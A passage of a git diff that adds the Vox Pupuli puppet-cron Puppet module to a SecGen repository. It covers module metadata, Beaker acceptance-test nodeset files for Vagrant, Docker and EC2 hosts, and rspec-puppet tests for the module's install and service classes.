$user = 'root', + String[4,4] $mode = '0644', + Array[String] $environment = [], + Optional[String] $description = undef, +) { + + cron::job { $title: + ensure => $ensure, + minute => $minute, + hour => $hour, + date => '*', + month => '*', + weekday => $weekday, + user => $user, + environment => $environment, + mode => $mode, + command => $command, + description => $description, + } + +} + diff --git a/modules/utilities/unix/puppet_module/cron/metadata.json b/modules/utilities/unix/puppet_module/cron/metadata.json new file mode 100644 index 000000000..f7bab72ee --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/metadata.json @@ -0,0 +1,68 @@ +{ + "name": "puppet-cron", + "version": "1.1.2-rc0", + "author": "Vox Pupuli", + "summary": "Module to manage cron jobs via /etc/cron.d/", + "license": "Apache-2.0", + "source": "https://github.com/voxpupuli/puppet-cron", + "project_page": "https://github.com/voxpupuli/puppet-cron", + "issues_url": "https://github.com/voxpupuli/puppet-cron/issues", + "tags": [ + "cron" + ], + "operatingsystem_support": [ + { + "operatingsystem": "RedHat", + "operatingsystemrelease": [ + "5", + "6", + "7" + ] + }, + { + "operatingsystem": "CentOS", + "operatingsystemrelease": [ + "5", + "6", + "7" + ] + }, + { + "operatingsystem": "Scientific", + "operatingsystemrelease": [ + "5", + "6" + ] + }, + { + "operatingsystem": "Ubuntu", + "operatingsystemrelease": [ + "14.04" + ] + }, + { + "operatingsystem": "Debian", + "operatingsystemrelease": [ + "8" + ] + }, + { + "operatingsystem": "Gentoo" + }, + { + "operatingsystem": "SLES", + "operatingsystemrelease": [ + "12" + ] + } + ], + "requirements": [ + { + "name": "puppet", + "version_requirement": ">= 4.9.1 < 6.0.0" + } + ], + "dependencies": [ + + ] +} diff --git a/modules/utilities/unix/puppet_module/cron/secgen_metadata.xml b/modules/utilities/unix/puppet_module/cron/secgen_metadata.xml new file mode 100644 index 000000000..a38523f25 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/secgen_metadata.xml @@ -0,0 +1,14 @@ + + + + cron + Thomas Shaw + MIT + cron + + puppet_module + linux + + diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/archlinux-2-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/archlinux-2-x64.yml new file mode 100644 index 000000000..89b63003f --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/archlinux-2-x64.yml @@ -0,0 +1,13 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + archlinux-2-x64: + roles: + - master + platform: archlinux-2-x64 + box: archlinux/archlinux + hypervisor: vagrant +CONFIG: + type: foss diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-511-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-511-x64.yml new file mode 100644 index 000000000..089d646a5 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-511-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-511-x64: + roles: + - master + platform: el-5-x86_64 + box: puppetlabs/centos-5.11-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-6-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-6-x64.yml new file mode 100644 index 000000000..16abc8f1c --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-6-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-6-x64: + roles: + - master + platform: el-6-x86_64 + box: centos/6 + hypervisor: vagrant +CONFIG: + type: aio +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-66-x64-pe.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-66-x64-pe.yml new file mode 100644 index 000000000..1e7aea6d4 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-66-x64-pe.yml @@ -0,0 +1,17 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-66-x64: + roles: + - master + - database + - dashboard + platform: el-6-x86_64 + box: puppetlabs/centos-6.6-64-puppet-enterprise + hypervisor: vagrant +CONFIG: + type: pe +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-7-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-7-x64.yml new file mode 100644 index 000000000..e05a3ae16 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-7-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-7-x64: + roles: + - master + platform: el-7-x86_64 + box: centos/7 + hypervisor: vagrant +CONFIG: + type: aio +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-78-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-78-x64.yml new file mode 100644 index 000000000..6ef6de8c8 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-78-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + debian-78-x64: + roles: + - master + platform: debian-7-amd64 + box: puppetlabs/debian-7.8-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-82-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-82-x64.yml new file mode 100644 index 000000000..9897a8fc7 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-82-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + debian-82-x64: + roles: + - master + platform: debian-8-amd64 + box: puppetlabs/debian-8.2-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-5.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-5.yml new file mode 100644 index 000000000..c17bc3d00 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-5.yml @@ -0,0 +1,19 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-5-x64: + platform: el-5-x86_64 + hypervisor: docker + image: centos:5 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'yum install -y crontabs initscripts iproute openssl sysvinit-tools tar wget which' + - 'sed -i -e "/mingetty/d" /etc/inittab' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-6.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-6.yml new file mode 100644 index 000000000..d93f884cb --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-6.yml @@ -0,0 +1,20 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-6-x64: + platform: el-6-x86_64 + hypervisor: docker + image: centos:6 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'rm -rf /var/run/network/*' + - 'yum install -y crontabs initscripts iproute openssl sysvinit-tools tar wget which' + - 'rm /etc/init/tty.conf' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-7.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-7.yml new file mode 100644 index 000000000..41e924b50 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-7.yml @@ -0,0 +1,19 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + centos-7-x64: + platform: el-7-x86_64 + hypervisor: docker + image: centos:7 + docker_preserve_image: true + docker_cmd: '["/usr/sbin/init"]' + docker_image_commands: + - 'yum install -y crontabs initscripts iproute openssl sysvinit-tools tar wget which ss' + - 'systemctl mask getty@tty1.service' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-7.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-7.yml new file mode 100644 index 000000000..41b284d39 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-7.yml @@ -0,0 +1,18 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + debian-7-x64: + platform: debian-7-amd64 + hypervisor: docker + image: debian:7 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get update && apt-get install -y cron locales-all net-tools wget' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-8.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-8.yml new file mode 100644 index 000000000..a630b7efd --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-8.yml @@ -0,0 +1,20 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + debian-8-x64: + platform: debian-8-amd64 + hypervisor: docker + image: debian:8 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get update && apt-get install -y cron locales-all net-tools wget' + - 'rm -f /usr/sbin/policy-rc.d' + - 'systemctl mask getty@tty1.service getty-static.service' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-9.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-9.yml new file mode 100644 index 000000000..dfc8e9c09 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-9.yml @@ -0,0 +1,20 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/theforeman/foreman-installer-modulesync +HOSTS: + debian-9-x64: + platform: debian-9-amd64 + hypervisor: docker + image: debian:9 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get update && apt-get install -y cron locales-all net-tools wget systemd-sysv' + - 'rm -f /usr/sbin/policy-rc.d' + - 'systemctl mask getty@tty1.service getty-static.service' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-12.04.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-12.04.yml new file mode 100644 index 000000000..ab77cda48 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-12.04.yml @@ -0,0 +1,19 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-1204-x64: + platform: ubuntu-12.04-amd64 + hypervisor: docker + image: ubuntu:12.04 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get install -y net-tools wget' + - 'locale-gen en_US.UTF-8' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-14.04.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-14.04.yml new file mode 100644 index 000000000..ae4530444 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-14.04.yml @@ -0,0 +1,21 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-1404-x64: + platform: ubuntu-14.04-amd64 + hypervisor: docker + image: ubuntu:14.04 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'rm /usr/sbin/policy-rc.d' + - 'rm /sbin/initctl; dpkg-divert --rename --remove /sbin/initctl' + - 'apt-get install -y net-tools wget apt-transport-https' + - 'locale-gen en_US.UTF-8' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-16.04.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-16.04.yml new file mode 100644 index 000000000..2d173c5b9 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-16.04.yml @@ -0,0 +1,19 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-1604-x64: + platform: ubuntu-16.04-amd64 + hypervisor: docker + image: ubuntu:16.04 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get install -y net-tools wget locales apt-transport-https' + - 'locale-gen en_US.UTF-8' +CONFIG: + trace_limit: 200 + masterless: true +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/amazonlinux-2016091.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/amazonlinux-2016091.yml new file mode 100644 index 000000000..19dd43ed7 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/amazonlinux-2016091.yml @@ -0,0 +1,31 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# Additional ~/.fog config file with AWS EC2 credentials +# required. +# +# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +# Amazon Linux is not a RHEL clone. +# +HOSTS: + amazonlinux-2016091-x64: + roles: + - master + platform: centos-6-x86_64 + hypervisor: ec2 + # refers to image_tempaltes.yaml AMI[vmname] entry: + vmname: amazonlinux-2016091-eu-central-1 + # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]: + snapshot: aio + # t2.micro is free tier eligible (https://aws.amazon.com/en/free/): + amisize: t2.micro + # required so that beaker sanitizes sshd_config and root authorized_keys: + user: ec2-user +CONFIG: + type: aio + :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/image_templates.yaml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/image_templates.yaml new file mode 100644 index 000000000..e50593ee0 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/image_templates.yaml @@ -0,0 +1,34 @@ +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# see also: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +# Hint: image IDs (ami-*) for the same image are different per location. +# +AMI: + # Amazon Linux AMI 2016.09.1 (HVM), SSD Volume Type + amazonlinux-2016091-eu-central-1: + :image: + :aio: ami-af0fc0c0 + :region: eu-central-1 + # Red Hat Enterprise Linux 7.3 (HVM), SSD Volume Type + rhel-73-eu-central-1: + :image: + :aio: ami-e4c63e8b + :region: eu-central-1 + # SUSE Linux Enterprise Server 12 SP2 (HVM), SSD Volume Type + sles-12sp2-eu-central-1: + :image: + :aio: ami-c425e4ab + :region: eu-central-1 + # Ubuntu Server 16.04 LTS (HVM), SSD Volume Type + ubuntu-1604-eu-central-1: + :image: + :aio: ami-fe408091 + :region: eu-central-1 + # Microsoft Windows Server 2016 Base + windows-2016-base-eu-central-1: + :image: + :aio: ami-88ec20e7 + :region: eu-central-1 diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/rhel-73-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/rhel-73-x64.yml new file mode 100644 index 000000000..7fac8236a --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/rhel-73-x64.yml @@ -0,0 +1,29 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# Additional ~/.fog config file with AWS EC2 credentials +# required. +# +# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +HOSTS: + rhel-73-x64: + roles: + - master + platform: el-7-x86_64 + hypervisor: ec2 + # refers to image_tempaltes.yaml AMI[vmname] entry: + vmname: rhel-73-eu-central-1 + # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]: + snapshot: aio + # t2.micro is free tier eligible (https://aws.amazon.com/en/free/): + amisize: t2.micro + # required so that beaker sanitizes sshd_config and root authorized_keys: + user: ec2-user +CONFIG: + type: aio + :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/sles-12sp2-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/sles-12sp2-x64.yml new file mode 100644 index 000000000..8542154df --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/sles-12sp2-x64.yml @@ -0,0 +1,29 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# Additional ~/.fog config file with AWS EC2 credentials +# required. +# +# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +HOSTS: + sles-12sp2-x64: + roles: + - master + platform: sles-12-x86_64 + hypervisor: ec2 + # refers to image_tempaltes.yaml AMI[vmname] entry: + vmname: sles-12sp2-eu-central-1 + # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]: + snapshot: aio + # t2.micro is free tier eligible (https://aws.amazon.com/en/free/): + amisize: t2.micro + # required so that beaker sanitizes sshd_config and root authorized_keys: + user: ec2-user +CONFIG: + type: aio + :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/ubuntu-1604-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/ubuntu-1604-x64.yml new file mode 100644 index 000000000..9cf59d59e --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/ubuntu-1604-x64.yml @@ -0,0 +1,29 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# Additional ~/.fog config file with AWS EC2 credentials +# required. +# +# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +HOSTS: + ubuntu-1604-x64: + roles: + - master + platform: ubuntu-16.04-amd64 + hypervisor: ec2 + # refers to image_tempaltes.yaml AMI[vmname] entry: + vmname: ubuntu-1604-eu-central-1 + # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]: + snapshot: aio + # t2.micro is free tier eligible (https://aws.amazon.com/en/free/): + amisize: t2.micro + # required so that beaker sanitizes sshd_config and root authorized_keys: + user: ubuntu +CONFIG: + type: aio + :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/windows-2016-base-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/windows-2016-base-x64.yml new file mode 100644 index 000000000..0932e29c8 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/windows-2016-base-x64.yml @@ -0,0 +1,29 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# Additional ~/.fog config file with AWS EC2 credentials +# required. +# +# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md +# +HOSTS: + windows-2016-base-x64: + roles: + - master + platform: windows-2016-64 + hypervisor: ec2 + # refers to image_tempaltes.yaml AMI[vmname] entry: + vmname: windows-2016-base-eu-central-1 + # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]: + snapshot: aio + # t2.micro is free tier eligible (https://aws.amazon.com/en/free/): + amisize: t2.micro + # required so that beaker sanitizes sshd_config and root authorized_keys: + user: ec2-user +CONFIG: + type: aio + :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/fedora-25-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/fedora-25-x64.yml new file mode 100644 index 000000000..60ae01179 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/fedora-25-x64.yml @@ -0,0 +1,18 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# platform is fedora 24 because there is no +# puppet-agent for fedora 25 by 2016-12-30 +HOSTS: + fedora-25-x64: + roles: + - master + platform: fedora-25-x86_64 + box: fedora/25-cloud-base + hypervisor: vagrant +CONFIG: + type: aio +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1204-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1204-x64.yml new file mode 100644 index 000000000..29102c565 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1204-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-server-1204-x64: + roles: + - master + platform: ubuntu-12.04-amd64 + box: puppetlabs/ubuntu-12.04-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml new file mode 100644 index 000000000..054e65880 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-server-1404-x64: + roles: + - master + platform: ubuntu-14.04-amd64 + box: puppetlabs/ubuntu-14.04-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1604-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1604-x64.yml new file mode 100644 index 000000000..bc85e0e84 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ubuntu-server-1604-x64.yml @@ -0,0 +1,15 @@ +--- +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +HOSTS: + ubuntu-server-1604-x64: + roles: + - master + platform: ubuntu-16.04-amd64 + box: puppetlabs/ubuntu-16.04-64-nocm + hypervisor: vagrant +CONFIG: + type: foss +... +# vim: syntax=yaml diff --git a/modules/utilities/unix/puppet_module/cron/spec/classes/coverage_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/classes/coverage_spec.rb new file mode 100644 index 000000000..de446548b --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/classes/coverage_spec.rb @@ -0,0 +1,4 @@ +require 'rspec-puppet' + +at_exit { RSpec::Puppet::Coverage.report! } +# vim: syntax=ruby diff --git a/modules/utilities/unix/puppet_module/cron/spec/classes/cron_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/classes/cron_spec.rb new file mode 100644 index 000000000..51470021e --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/classes/cron_spec.rb @@ -0,0 +1,147 @@ +require 'spec_helper' + +describe 'cron' do + context 'default' do + let :facts do + { + operatingsystem: 'Unsupported' + } + end + + it { is_expected.to contain_class('cron::install') } + end + + context 'manage_package => false' do + let :facts do + { + operatingsystem: 'Unsupported' + } + end + let(:params) do + { manage_package: false, + package_ensure: 'cron' } + end + + it { is_expected.to contain_class('cron::install') } + it { is_expected.not_to contain_package('cron') } + end + + context 'manage_package => true' do + let :facts do + { + operatingsystem: 'Unsupported' + } + end + let(:params) do + { manage_package: true, + package_ensure: 'installed' } + end + + it { is_expected.to contain_class('cron::install') } + it { is_expected.to contain_package('cron') } + end + + context 'package_ensure => absent' do + let :facts do + { + operatingsystem: 'Unsupported' + } + end + let(:params) do + { manage_package: true, + package_ensure: 'absent' } + end + + it { is_expected.to contain_class('cron::install') } + it { + is_expected.to contain_package('cron').with( + 'name' => 'cron', + 'ensure' => 'absent' + ) + } + end + + context 'package_name => sys-process/cronie' do + let :facts do + { + operatingsystem: 'Gentoo' + } + end + let(:params) { { package_name: 'sys-process/cronie' } } + + it { is_expected.to contain_class('cron::install') } + it { + is_expected.to contain_package('cron').with( + 'name' => 'sys-process/cronie', + 'ensure' => 'installed' + ) + } + end + + context 'manage_service => false' do + let :facts do + { + operatingsystem: 'Unsupported' + } + end + let(:params) { { manage_service: false } } + + it { is_expected.to contain_class('cron::service') } + it { is_expected.not_to contain_service('cron') } + end + + context 'manage_service => true' do + let :facts do + { + operatingsystem: 'Unsupported' + } + end + let(:params) { { manage_service: true } } + + it { is_expected.to contain_class('cron::service') } + it { is_expected.to contain_service('cron') } + end + + context 'service_ensure => stopped' do + let :facts do + { + operatingsystem: 'Unsupported' + } + end + let(:params) do + { manage_service: true, + service_ensure: 'stopped' } + end + + it { is_expected.to contain_class('cron::service') } + it { + is_expected.to contain_service('cron').with( + 'name' => 'cron', + 'ensure' => 'stopped', + 'enable' => true + ) + } + end + + context 'service_ensure => stopped' do + let :facts do + { + operatingsystem: 'Unsupported' + } + end + let(:params) do + { manage_service: true, + service_ensure: 'stopped', + service_enable: false } + end + + it { is_expected.to contain_class('cron::service') } + it { + is_expected.to contain_service('cron').with( + 'name' => 'cron', + 'ensure' => 'stopped', + 'enable' => false + ) + } + end +end diff --git a/modules/utilities/unix/puppet_module/cron/spec/classes/install_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/classes/install_spec.rb new file mode 100644 index 000000000..16d47913e --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/classes/install_spec.rb @@ -0,0 +1,89 @@ +require 'spec_helper' + +describe 'cron::install' do + let(:pre_condition) do + 'include ::cron' + end + + context 'default' do + let :facts do + { + operatingsystem: 'Unsupported' + } + end + + it do + is_expected.to contain_package('cron').with('ensure' => 'installed', 'name' => 'cron') + end + end + + context 'CentOS 5' do + let :facts do + { + os: { + family: 'RedHat', + release: { + major: '5' + } + } + } + end + + it { is_expected.to contain_class('cron::install') } + it { + is_expected.to contain_package('cron').with( + 'name' => 'vixie-cron' + ) + } + end + + context 'CentOS 6' do + let :facts do + { + os: { + family: 'RedHat', + release: { + major: '6' + } + } + } + end + + it { is_expected.to contain_class('cron::install') } + it { + is_expected.to contain_package('cron').with( + 'name' => 'cronie' + ) + } + end + + context 'Gentoo' do + let :facts do + { + os: { family: 'Gentoo' } + } + end + + it { is_expected.to contain_class('cron::install') } + it { + is_expected.to contain_package('cron').with( + 'name' => 'virtual/cron' + ) + } + end + + context 'Debian' do + let :facts do + { + os: { family: 'debian' } + } + end + + it { is_expected.to contain_class('cron::install') } + it { + is_expected.to contain_package('cron').with( + 'name' => 'cron' + ) + } + end +end diff --git a/modules/utilities/unix/puppet_module/cron/spec/classes/service_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/classes/service_spec.rb new file mode 100644 index 000000000..68f703ff7 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/classes/service_spec.rb @@ -0,0 +1,86 @@ +require 'spec_helper' + +describe 'cron::service' do + let(:pre_condition) do + 'include ::cron' + end + + context 'default' do + let :facts do + { + os: { family: 'Unsupported' }, + operatingsystem: 'Unsupported' + } + end + + it do + is_expected.to contain_service('cron').with( + 'ensure' => 'running', + 'name' => 'cron', + 'enable' => 'true' + ) + end + end + + context 'CentOS 5' do + let :facts do + { + os: { + family: 